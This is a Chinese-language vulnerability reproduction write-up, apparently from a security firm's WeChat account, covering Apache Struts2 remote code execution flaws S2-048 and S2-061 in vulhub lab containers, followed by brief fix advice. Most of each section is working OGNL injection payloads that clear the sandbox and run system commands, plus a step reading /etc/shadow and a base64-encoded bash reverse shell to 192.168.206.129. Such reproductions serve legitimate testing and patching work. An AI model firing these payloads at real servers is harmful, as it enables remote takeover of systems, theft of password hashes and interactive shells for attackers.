S2-048
一,漏洞分析
Apache Struts 2.3.x的strus1插件存在远程代码执行的高危漏洞,漏洞编号为CVE-2017-9791(S2-048)。在Struts 2.3.x 版本上的Showcase 插件ActionMessage类中,通过构建不可信的输入可实现远程命令攻击。漏洞原因是当ActionMessage接收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行。攻击者可以构造恶意的字段值通过Struts2的Struts1的插件,远程执行代码,大概意思就是说“Struts 2.3.x系列中的Struts 1插件示例中的Struts Showcase应用程序中可以执行系统命令。
二,漏洞版本
Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本
三,漏洞复现
开启漏洞环境
使用vulhub进行环境搭建(https://github.com/vulhub/vulhub/tree/master/struts2/s2-048)
启动环境docker-compose up -d
访问your-ip:8080/showcase/
先输入${1+1}以查看执行结果
可以看到页面回显2,输入1=1的逻辑正确,证明存在远程代码执行的高危漏洞
本质原因还是在struts2-struts1-plugin包中Struts1Action.java中execute函数调用了getText函数,这个函数会执行ognl表达式,通过调用getText的输入内容,插入恶意的攻击参数,导致该漏洞可以执行Linux系统命令,并被黑客所利用直接获取管理员权限。
poc
%{#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id语句插入处').getInputStream())).(#q)
id处为插入攻击语句的位置
接着把pwd注入语句中
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('pwd').getInputStream())).(#q)}
将pwd改为id
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
成功获取到了当前的路径
接着测试是否能够读取系统敏感数据
使用cat /etc/shadow来测试
成功读取
四,修复建议
1,不启用struts2-struts1-plugin插件
2,建议升级到最新版本
3,开发者通过使用resource keys替代将原始消息直接传递给ActionMessage的方式。如下所示
messages.add(“msg”, new ActionMessage(“struts1.gangsterAdded”, gform.getName()));
一定不要使用如下的方式
messages.add(“msg”, new ActionMessage(“Gangster ” + gform.getName() + ” was added”));
S2-061
一,漏洞分析
Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。
s2-061 是一个远程命令执行的漏洞,Struts2 会对某些标签属性(比如id,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了%{x}且x的值用户可控时,用户再传入一个%{payload}即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。
所以在对漏洞进行绕过时,可以考虑从id入手
二,漏洞版本
Apache Struts 2.0.0 - 2.5.25
三,漏洞复现
1、环境准备
s2-061漏洞搭建漏洞环境较为复杂而本次漏洞是对S2-059漏洞修复后的绕过,所以这里使用vluhub中的docker环境进行搭建,下载最新的vluhub。
vluhub下载地址:https://github.com/vulhub/vulhub
启动漏洞环境:docker-compose up -d
访问目标地址 your-ip:8080
2、漏洞验证
在url处使用一下payload验证漏洞是否存在,验证的payload一定要使用url编码。
?id=%25%7b+%27test%27+%2b+(11+%2b+11).toString()%7d
toString()方法可把一个 Number 对象转换为一个字符串,并返回结果。
证明存在远程代码执行的高危漏洞
3、漏洞利用
方法一:
可以看到执行相加,这里直接构造payload执行命令
URL
http://ip:8080/?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}
方法二:
使用burp进行抓包,通过构造post包执行exp命令执行id。
将数据包中get请求方式改为post请求
将Content-Type中的内容改为multipart/form-data;boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
然后插入exp
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
方法三:
反弹shell
反弹命令需要使用base64编码
Bash -i >& /dev/tcp/192.168.206.129/2020 0>&1
将base64编码插入到exp中,靶机监听端口,当burp发包是,返回shell
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNi4xMjkvMjAyMCAwPiYx}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
四,修复建议
将Apache Struts框架升级至最新版本
天磊卫士|专注网络安全服务
咨询热线:400-654-0108
官网:https://www.uguardsec.com
分支机构:深圳、海口、北京、青岛、汕尾
漏洞扫描|整改加固|渗透测试|APP安全评估|安全运维
系统入网|上线安全评估|代码审计|应急响应|应急演练
原文始发于微信公众号(天磊卫士安全团队):漏洞复现 | Struts远程命令执行漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论